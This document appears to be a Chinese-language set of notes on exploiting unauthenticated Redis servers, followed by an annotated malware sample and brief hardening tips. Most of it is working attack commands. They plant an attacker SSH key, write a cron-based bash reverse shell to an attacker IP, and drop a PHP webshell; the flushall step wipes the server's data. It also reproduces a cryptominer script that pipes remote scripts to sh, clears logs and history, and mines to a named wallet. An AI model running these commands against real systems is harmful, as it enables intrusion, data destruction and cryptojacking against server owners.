利用https://paper.seebug.org/409/
加固https://help.aliyun.com/knowledge_detail/37447.html
阿里云服务器被挖矿程序minerd入侵的终极解决办法http://blog.csdn.net/tjcyjd/article/details/54140321
redis命令总结https://maoxian.de/2015/08/1342.html
攻击条件
Redis 服务默认绑定在 0.0.0.0:6379 暴露到公网上!
如果在【没有开启认证】的情况下:导致可以访问目标服务器的任意用户,未授权访问Redis以及读取Redis的数据。
服务器启动redis
whereis redis
#加上&号 使 redis 以后台程序方式运行
./redis-server &
连接 redis未授权服务器
redis -h 10.125.155.30 -p 6379
keys *
#查看某个key的值
get kkkky
info #查看redis版本信息、一些具体信息、服务器版本信息等
#开启监视器 实时转储收到的请求(从此时开始记录每个redis命令操作 到文件ksdf.log)
redis-cli -h xx.xx.xx. monitor >ksdf.log
方式1 利用Redis自身方法 写服务器的文件 (ssh-key公钥)
将hacker的公钥 追加 写入 redis服务器的 /root/.ssh 文件夹下的authotrized_keys文件中,即hacker主机 直接登录 该服务器。
"公钥登录" 原理很简单,就是用户将自己的公钥储存在远程主机上。
登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:
$ ssh-keygen
运行上面的命令以后,系统会出现一系列提示,可以一路回车。其中有一个问题是,要不要对私钥设置口令(passphrase),如果担心私钥的安全,这里可以设置一个。
运行结束以后,在$HOME/.ssh/目录下,会新生成两个文件:id_rsa.pub和id_rsa。前者是你的公钥,后者是你的私钥。
通常这时再输入下面的命令,将公钥传送到远程主机host上面:
$ ssh-copy-id user@host
authorized_keys文件:远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。
#进入/.ssh目录
cd ~
cd .ssh/
# 本机 生成ssh公钥文件gy
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > gy.txt
# 利用redis-cli 连接 该服务器
redis-cli -h 173.239.46.188
# 删除所有数据库以及key!!((保证写入的数据不掺杂其他数据)慎用 !!
flushall
# 把公钥文件gy (通过redis自身方法) 写入 服务器的内存 返回OK
cat gy.txt | redis-cli -h 173.239.46.188 -x set crackit
# 利用redis查看当前目录
173.239.46.188:6379> config get dir
1) "dir"
2) "/var/spool/cron"
# 进入目录 设置保存路径 /Users/用户名/.ssh 可能OK 也可能非root用户权限不足(error) ERR Changing directory: Permission denied
173.239.46.188:6379> config set dir /root/.ssh/
# 设置数据库名
173.239.46.188:6379> config set dbfilename "authorized_keys"
OK
# 保存数据库的内容到/root/.ssh/authorized_keys 会覆盖之前的!! 会导致之前设置的所有ssh免登录失效!!!
173.239.46.188:6379> save
OK
#-------------------------------------------------
# 通过自己本机的私钥登陆服务器
ssh -i id_rsa [email protected]
当如果发现自己的Redis突然被清空,在0号默认库中执行 keys * 命令只显示
"crackit" 或者其他奇怪的key,那么“恭喜”你中招了。
0×05修复建议
1.对自己的Redis加入认证,除非必要,否则不要把自身暴露到公网中,也不要以root启用Redis。
2.iptables 对自用固定的端口开启白名单。
3.查看自己的authorized_keys,以及crontab 任务,如果包含REDIS的开头,请重置。
4.确认自己被hack的机器,请检查 chkrootkit和 rootkit hunter检查rootkit。
方式2 利用定时任务执行命令反弹shell
redis 以 root 权限运行时:
可以写 crontab 来执行命令反弹shell
--
Redis的set1 ‘xxx’命令使得写入数据始终在最前,保证执行成功,但写入数据较大(来源猪猪侠@wooyun)
crontab 对执行的文件格式要求比较松散。
在centos里写入到/var/spool/cron目录。
# 在redis未授权机器上查询定时任务
crontab -u root -l
#*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh
基本格式 :
* * * * * command
分 时 日 月 周 命令
# 删除所有的执行计划
service crond stop或 crontab -r
先在hacker自己的服务器192.168.1.1上监听一个端口 nc -lvnp 4444
连接目标redis服务器 执行命令:
redis-cli -h 192.168.2.2
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
方式3 在web目录 写文件 获取webshell
当 redis 权限不高,并且服务器开着 web 服务且在 redis 有 web 目录写权限时:往 web 路径写 webshell
config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save
挖矿脚本
在目标的redis上创建了两个关键key,一个名为woxdtzfwar、另一个名为crackit。
内容分别为:
可访问 http://172.104.190.64:8220/test11.sh 获取最新url
woxdtzfwar文件
*/1 * * * * /usr/bin/curl -fsSLhttp://172.104.190.64:8220/test11.sh | sh
其中shell脚本即
#!/bin/bash
(ps auxf|grep -v grep|grep cryptonight |awk '{print $2}'|xargs kill -9;crontab -r;pkill -9 minerd;pkill -9 i586;pkill -9 gddr;pkill -9 snapd;pkill -9 atd;echo > /var/log/wtmp;history -c;cd ~;curl -L http://198.181.41.97:8220/minerd -o minerd;chmod 777 minerd;setsid ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)
crackit的内容为:
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDE0guChoiGr6s3mXjQA0wX6YKNNMy2bpj6b8ArjuWH/mjN17bu275t/ZlSarmMC5hCVAx7eJEzqxqy43AiBS61UuFpWZXWal5b6XWdvrH6pCJOI5+ceeFMEmc64B7GNrs2OPyuaP0HST/xh0YyWwoE/2uZmc3EyiR8sIP7/11N+xhHH4nIZB/M8QDaBRN6DWUNd/kzLDuIHr4LntuhKEZpCuQIuiDm7ZBYzbYhGtpPWnO04FzbfMUqP1JssTd/G/mUflRgQhKVACyF8rd8o/o7Zy6I9JVgLV6FpNOLc5Ep9VJuFXxmcxWc+Bj//[email protected]
对挖矿脚本 具体解释如下:
#!/bin/bash
#利用ps命令列举进程,看是否已经有存在名为minerd进程,如有则杀掉进程
(ps auxf|grep -v grep|grep cryptonight |awk '{print $2}'|xargs kill -9;
#清除当前用户crontab任务列表
crontab -r;
#杀进程再次杀进程,分别为minerd/i586/gddr进程名,猜测是否为病毒早前感染程序名)
pkill -9 minerd;
pkill -9 i586;
pkill -9 gddr;
pkill -9 snapd;
pkill -9 atd;
#清日志
echo > /var/log/wtmp;#系统每次登录,都会在此日志中添加记录,该文件为二进制文件
#清空命令操作日志
history -c;
#回到用户家目录
cd ~;
#下载自己服务器上的minerd到 被黑的redis服务器
curl -L http://198.181.41.97:8220/minerd -o minerd;
#增加执行权限
chmod 777 minerd;
# setsid命令, minnerd进程执行后守护进程
setsid ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)
其中,minnerd为挖矿程序,连接的服务器为 xmr.crypto-pool.fr:3333,挖矿帐号为41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo,密码为x(这个密码选项无所谓,值可随便设置)
利用百度搜索 minerd,搜索结果显示 minerd 是一个臭名昭著的比特币挖矿程序。其中攻击方式、sh文件内容等基本一样,说明该攻击是基于redis未授权漏洞的病毒。
网络上发表的基于minerd的下载url为:curl -L http://67.209.185.118:8220/minerd -o minerd
该页面已经失效不能访问
该病毒面对的目标系统是linux系统(crontab启动方式、curl下载、minerd挖矿程序等)
此外,幸运的是本次客户redis安装在windows操作系统(info查看),病毒无法在windows系统下运行